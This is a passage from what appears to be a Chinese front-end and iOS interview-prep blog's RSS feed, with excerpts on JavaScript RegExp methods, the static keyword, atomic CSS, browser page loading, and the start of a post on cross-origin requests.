&lt;p&gt;字母、数字、下划线、汉字、没有特殊含义的符号（,;!@等）&lt;/p&gt;
&lt;p&gt;实际上不是特殊字符的字符都是普通字符&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="2特殊字符"&gt;2.特殊字符&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;\：将特殊字符转义成普通字符&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="3模式修饰符"&gt;3.模式修饰符&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;i：ignoreCase，匹配时忽视大小写&lt;/p&gt;
&lt;p&gt;m：multiline，多行匹配&lt;/p&gt;
&lt;p&gt;g：global，全局匹配&lt;/p&gt;
&lt;p&gt;字面量创建正则时，模式修饰符写在一对反斜线后&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="实例方法"&gt;实例方法&lt;/h2&gt;
&lt;h2 id="1exec"&gt;1.exec()&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;用来匹配字符串中符合正则表达式的字符串&lt;/p&gt;
&lt;p&gt;如果匹配到，返回值是一个result数组:&lt;/p&gt;
&lt;p&gt;[匹配的内容，index: 在str中匹配的起始位置，input: 参数字符串，groups: undefined]&lt;/p&gt;
&lt;p&gt;否则返回null&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Hello world javascript hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; RegExp(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;igm&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exec&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;输出结果为&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Hello&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello world javascript hello&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;groups&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2test"&gt;2.test()&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;用来测试待检测的字符串中是否有可以匹配到正则表达式的字符串&lt;/p&gt;
&lt;p&gt;如果有返回true，否则返回false&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/hello/&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello world&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;test&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;//true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="3tosting-tolocalestring"&gt;3.toSting() toLocaleString()&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;把正则表达式的内容转化成&lt;strong&gt;字面量形式字符串&lt;/strong&gt;/有本地特色的字符串&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/hello/&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello world&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;(),&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;()); &lt;span style="color:#75715e"&gt;// /hello/ string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toLocaleString&lt;/span&gt;(),&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toLocaleString&lt;/span&gt;()); &lt;span style="color:#75715e"&gt;// /hello/ string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="4valueof"&gt;4.valueOf()&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;返回正则表达式本身&lt;/p&gt;</description></item><item><title>static关键字详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/static%E5%85%B3%E9%94%AE%E5%AD%97%E8%AF%A6%E8%A7%A3/</link><pubDate>Sun, 03 May 2026 23:11:47 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/static%E5%85%B3%E9%94%AE%E5%AD%97%E8%AF%A6%E8%A7%A3/</guid><description>&lt;h2 id="基础概念"&gt;基础概念&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;static&lt;/code&gt; 是 C 语言定义的存储类说明符（Storage Class Specifier），Objective-C 和 Swift 中均有使用，但语义有所扩展。它的核心作用可以归纳为两点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;改变存储位置&lt;/strong&gt;：将局部变量从栈区移到数据段，使其在函数返回后依然存活&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制链接可见性&lt;/strong&gt;：将全局变量或函数的链接属性从 external 改为 internal，使其仅在当前编译单元（&lt;code&gt;.m&lt;/code&gt; 文件）内可见&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="mermaid"&gt;flowchart TD
A["static 关键字"] --&gt; B["修饰局部变量"]
A --&gt; C["修饰全局变量"]
A --&gt; D["修饰函数"]
A --&gt; E["Swift 中的 static"]
B --&gt; B1["存储位置：栈 → 数据段"]
B --&gt; B2["生命周期：函数作用域 → 整个进程"]
B --&gt; B3["作用域不变：仍限于函数内"]
C --&gt; C1["存储位置不变：仍在数据段"]
C --&gt; C2["链接属性：external → internal"]
C --&gt; C3["作用域缩小：全局 → 当前文件"]
D --&gt; D1["存储位置不变：仍在代码段"]
D --&gt; D2["链接属性：external → internal"]
D --&gt; D3["作用域缩小：全局 → 当前文件"]
&lt;/pre&gt;
&lt;h2 id="一静态局部变量"&gt;一、静态局部变量&lt;/h2&gt;
&lt;h3 id="基本用法"&gt;基本用法&lt;/h3&gt;
&lt;p&gt;在函数或方法内部用 &lt;code&gt;static&lt;/code&gt; 修饰局部变量，使其只初始化一次，后续调用保留上次的值。&lt;/p&gt;</description></item><item><title>原子化CSS</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-024/</link><pubDate>Sat, 09 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-024/</guid><description>&lt;h2 id="1-什么是原子化css"&gt;1. 什么是原子化CSS&lt;/h2&gt;
&lt;h3 id="11-基本概念"&gt;1.1 基本概念&lt;/h3&gt;
&lt;p&gt;原子化CSS(Atomic CSS) 近年来热度逐渐增加，与原子化CSS相关的库在Github上也收获上万的Star。那么什么是原子化CSS呢，引用文章 &lt;a href="https://css-tricks.com/lets-define-exactly-atomic-css/"&gt;Let&amp;rsquo;s Define Exactly What Atomic CSS is&lt;/a&gt; 中定义：&amp;ldquo;原子化CSS是一种CSS架构方式，其支持小型、单一用途的类，其名称基于视觉功能。&amp;rdquo;&lt;/p&gt;
&lt;p&gt;更加通俗的来讲，原子化CSS是一种新的CSS编程思路，它倾向于创建小巧且单一用途的class，并且以视觉效果进行命名。举个简单的例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- 原子化类定义 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;text-white&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;white&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;bg-black&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;black&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;text-center&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;text-align&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- 原子化类使用 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text-white bg-black text-center&amp;#34;&lt;/span&gt;&amp;gt;hello Atomic CSS&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="12-vs-行内样式"&gt;1.2 VS 行内样式&lt;/h3&gt;
&lt;p&gt;看到以上的示例，你可能很快就想到，直接使用行内样式不是更好吗，还省去了原子类的定义。这个问题可以从样式编写、一致性、功能、和缓存四个方面来回答。&lt;/p&gt;
&lt;p&gt;在样式编写层面，CSS预处理和后处理器很大程度上依赖单独的样式表，原子化CSS可以充分利用Sass、Less等CSS预处理器功能进行样式的编写，同时可以借助&lt;code&gt;PostCSS&lt;/code&gt;进一步增强CSS的功能。而对于行内样式，虽然在技术上支持使用预处理和后处理器对其进行处理，但很少有成熟的工具对此提供支持和维护。&lt;/p&gt;
&lt;p&gt;在一致性层面，原子化CSS框架一般有预定义的设计系统，开发者仅能在设计系统中选择要设置的值。而对于行内样式或者传统CSS类定义来说，可设置的值是没有任何限制的。对于行内样式或者传统的CSS类设置来说，一个标签的字体大小可能是&lt;code&gt;14px&lt;/code&gt;或&lt;code&gt;0.875rem&lt;/code&gt;，当产品（or 客户）说需要调小一点时，开发者A可能调整为&lt;code&gt;13px&lt;/code&gt;，开发者B可能调整为&lt;code&gt;12px&lt;/code&gt;。但对于原子化CSS框架来说，调小一点意味着设置的类从&lt;code&gt;text-sm&lt;/code&gt;变为&lt;code&gt;text-xs&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下为部分采用传统CSS类编写的网站样式统计数据（&lt;a href="https://cssstats.com/stats/"&gt;统计来源&lt;/a&gt;）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://juejin.cn/"&gt;掘金官网&lt;/a&gt;：283种背景颜色 471种字体颜色 264种字体大小&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab.com/gitlab-org/gitlab"&gt;GitLab&lt;/a&gt;：1199种背景颜色 1351种字体颜色 450种字体大小&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.csdn.net/"&gt;CSDN&lt;/a&gt;：585种背景颜色 1190种字体颜色 504种字体大小&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;在功能方面，原子化CSS本质上还是CSS类，因此支持媒体查询功能，也支持对元素的悬停、聚焦等状态进行处理，而内联样式缺少这部分的能力。&lt;/p&gt;
&lt;p&gt;在打包方面，内联样式包含在JS文件中，样式的修改会导致整个bundle的改变，原子化CSS样式定义和JS逻辑分离，修改元素的class属性可能并不影响（在没有新CSS类的情况下）最终打包输出样式文件。&lt;/p&gt;
&lt;h2 id="2-谁在使用原子化css"&gt;2. 谁在使用原子化CSS&lt;/h2&gt;
&lt;p&gt;截至目前已经有部分网站借鉴或者使用原子化CSS的思想重构了自己的web网站，比较知名的网站有&lt;code&gt;Facebook&lt;/code&gt;、&lt;code&gt;Twitter&lt;/code&gt;、&lt;code&gt;Github&lt;/code&gt;、&lt;code&gt;swipperjs&lt;/code&gt;等。根据网上公开的信息，&lt;code&gt;Facebook&lt;/code&gt;在使用原子化CSS思想重构之后，仅登录页面的&lt;code&gt;413KB&lt;/code&gt;样式文件，减少为整个站点的&lt;code&gt;74KB&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.facebook.com/"&gt;Facebook&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-024/image-01.png"&gt;&lt;/p&gt;</description></item><item><title>输入 URL 到页面渲染完成</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-024/</link><pubDate>Tue, 05 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-024/</guid><description>&lt;h2 id="一网站加载概述"&gt;一、网站加载概述&lt;/h2&gt;
&lt;p&gt;面试过程中，常常遇到这样一道面试题，输入URL到页面加载完毕，浏览器做了哪些工作？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;首先输入一个URL，你会看到浏览器上面的标签页出现了一个loading图标，开始时是逆时针旋转，接着顺时针旋转，当前页面消失，显示我们常说的空白页面，接着出现显示我们请求的新页面。此时如果网络很差，你有可能看到短暂的DOM页面，然后再看到渲染后的正常页面，这是从表面看到的加载过程，实际浏览器做的要多得多。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;为什么浏览器这么多戏呢？直接显示不好吗，当然不行，就像喝粥，能直接吃米、喝水吗？&lt;/p&gt;
&lt;p&gt;在用户输入URL到页面展示，浏览器要先向服务器获取前端资源，然后再将服务器返回的字节流转化成对应的页面，每一阶段都需要浏览器对应的能力进行处理的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;作为前端开发，了解整个过程其实很重要，只有知道了浏览器加载页面的整个过程，才能在开发中避免可能跳的坑，才能在发现问题后迅速定位问题，才能在性能优化时提出更多的解决方案。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如下面问题，看了文章相信你就知道了为什么了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么会存在空白页面？(为了解决这个问题，各大厂都在实践各种方案）&lt;/li&gt;
&lt;li&gt;为什么js要在Dom后面引入&lt;/li&gt;
&lt;li&gt;为什么有个页面崩溃会导致多个页面崩溃&lt;/li&gt;
&lt;li&gt;浏览器的缓存策略是怎样的？&lt;/li&gt;
&lt;li&gt;为什么我们常常修改host就可以访问对应的域名&lt;/li&gt;
&lt;li&gt;等等&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二浏览器的多进程架构"&gt;二、浏览器的多进程架构&lt;/h2&gt;
&lt;p&gt;为了看懂下面的内容，这里必须要了解下现代浏览器的&lt;code&gt;多进程架构&lt;/code&gt;，&lt;code&gt;进程&lt;/code&gt;和&lt;code&gt;线程&lt;/code&gt;的关系等知识点。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;浏览器也是从单个进程架构一步步迭代到现代的多进程架构。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-024/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;如上图，我们可以看到&lt;code&gt;线程&lt;/code&gt;和&lt;code&gt;进程&lt;/code&gt;的关系&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通常一个程序实例就是一个进程，浏览器会为他分配内存空间。&lt;/li&gt;
&lt;li&gt;一个进程间的数据是共享的，单线程就是一个进程包含一个线程，一个线程处理所有的任务&lt;/li&gt;
&lt;li&gt;多线程就是，一个进程中包含多个线程可以同时执行任务，共享数据和内存&lt;/li&gt;
&lt;li&gt;线程不能单独存在，必须依附于进程，一个线程失败，会导致进程执行失败，进程销毁，内存会被立即回收。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="1进程"&gt;1、进程&lt;/h3&gt;
&lt;p&gt;下图是我们打开一个掘金首页后，再打开任务管理器，观察发现，此时浏览器包括的进程有很多，浏览器主进程，GPU进程，网络进程，存储进程，音频进程，渲染进程，多个插件进程。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-024/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;这些进程负责的功能如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;进程&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;浏览器进程&lt;/td&gt;
&lt;td&gt;负责浏览器各个子进程的通信，处理浏览器界面，包括地址栏等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;渲染进程&lt;/td&gt;
&lt;td&gt;也就是我们看到的图中的标签页进程，也就是我们常说的浏览器内核，v8就在这个进程。主要负责解析html、js、css渲染页面等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;网络进程&lt;/td&gt;
&lt;td&gt;负责发起网络请求，解析返回头信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GUI进程&lt;/td&gt;
&lt;td&gt;负责将渲染进程生成的图块转化成位图&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;渲染进程是运行在沙箱之中的，可以执行js，但是不能获取系统权限，和浏览器进程通过IPC通讯。这是为了保证浏览器进程的安全，锁进沙箱，即使有恶意代码，也不能突破沙箱读取或写入系统信息。&lt;/p&gt;
&lt;h3 id="2线程"&gt;2、线程&lt;/h3&gt;
&lt;p&gt;通过上图，我们已经知道线程是不能独立存在的，必须依附于进程。这里我们主要关注下渲染进程，因为他的主要工作就是：完成页面的渲染和展示。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-024/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;如图，我们可以看到渲染进程包括很多线程，除了图上展示的，还有合成线程等，各有各的作用，具体内容，我们将会在后面一章节，浏览器渲染原理分析中在来讨论。&lt;/p&gt;
&lt;h2 id="三浏览器请求的具体流程"&gt;三、浏览器请求的具体流程&lt;/h2&gt;
&lt;p&gt;从用户输入域名到浏览器渲染页面完成的过程，可以分为以下几个部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1、输入信息处理&lt;/li&gt;
&lt;li&gt;2、网络请求&lt;/li&gt;
&lt;li&gt;3、服务器返回请求资源&lt;/li&gt;
&lt;li&gt;4、浏览器渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里每一步涉及到的知识都非常多，其中缓存也在每个阶段占了很大比重，接着展开描述前三个阶段：&lt;/p&gt;
&lt;h3 id="1地址栏输入信息处理"&gt;1、地址栏输入信息处理&lt;/h3&gt;
&lt;p&gt;当输入一个URL，浏览器会判断输入信息是检索信息还是请求URL&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果是检索的信息，就构建请求搜索的URL，调用浏览器默认的搜索引擎进行检索。&lt;/li&gt;
&lt;li&gt;如果符合URL格式，浏览器主进程就通过IPC通信机制将URL发送给网络进程。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2网络进程发起网络请求"&gt;2、网络进程发起网络请求&lt;/h3&gt;
&lt;p&gt;1）网络进程首先会查找浏览器缓存，判断缓存是否存在，是否过期&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果存在且不过期，就直接返回缓存信息。具体的缓存策略可以接着看下面的&lt;a href="https://fe.ecool.fun/knowledge-learn#cache"&gt;浏览器缓存策略&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2）如果没有缓存或过期，就开始进行DNS解析&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DNS解析的过程也很复杂，最终目的就是拿到目标主机的IP地址，具体的解析过程可以看下面的域名解析&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;3）建立http连接或https连接&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;http通过三次握手建立连接&lt;/li&gt;
&lt;li&gt;https需要建立TLS连接，浏览器会验证网站的数字证书是否合法，是否到期，是否安全等，这里https有自己的一套认证逻辑，我们重点不在这一块。&lt;/li&gt;
&lt;li&gt;这里两个问题常被问到，不了解可以学习一下&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;http和https的区别？&lt;/li&gt;
&lt;li&gt;简述三次握手、四次挥手？&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;4）发送请求&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;网络进程会构建http请求头，向服务器发送实际请求&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;5）网络传输，服务器处理，返回对应的资源&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;请求从应用层发出，经过运输层、网络层、物理层、数据链路层找到服务器，服务器拿到请求信息，返回对应的资源&lt;/li&gt;
&lt;li&gt;这里的服务器可能是代理服务器，也可能是CDN节点，会判断当前数据是否存在缓存，如果有缓存且有效，直接返回（具体看配置的缓存策略），否则才会从服务器获取。&lt;/li&gt;
&lt;li&gt;网络传输数据也是很复杂的过程，具体可以看下面简单的介绍&lt;a href="https://fe.ecool.fun/knowledge-learn#net"&gt;计算机网络体系模型&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3服务器返回对应资源"&gt;3、服务器返回对应资源&lt;/h3&gt;
&lt;p&gt;1）处理返回信息&lt;/p&gt;</description></item><item><title>跨域</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-024/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-024/</guid><description>&lt;h2 id="一什么是跨域"&gt;一、什么是跨域？&lt;/h2&gt;
&lt;p&gt;在前端领域中，跨域是指浏览器允许向服务器发送跨域请求，从而克服Ajax只能&lt;strong&gt;同源&lt;/strong&gt;使用的限制。&lt;/p&gt;
&lt;h3 id="什么是同源策略"&gt;什么是同源策略？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;同源策略&lt;/strong&gt;是一种约定，由Netscape公司1995年引入浏览器，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSFR等攻击。所谓同源是指&amp;quot;协议+域名+端口&amp;quot;三者相同，即便两个不同的域名指向同一个ip地址，也非同源。&lt;/p&gt;
&lt;p&gt;同源策略限制以下几种行为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cookie、LocalStorage 和 IndexDB 无法读取&lt;/li&gt;
&lt;li&gt;DOM和JS对象无法获得&lt;/li&gt;
&lt;li&gt;AJAX 请求不能发送&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二常见的跨域场景"&gt;二、常见的跨域场景&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;是否允许通信&lt;/th&gt;
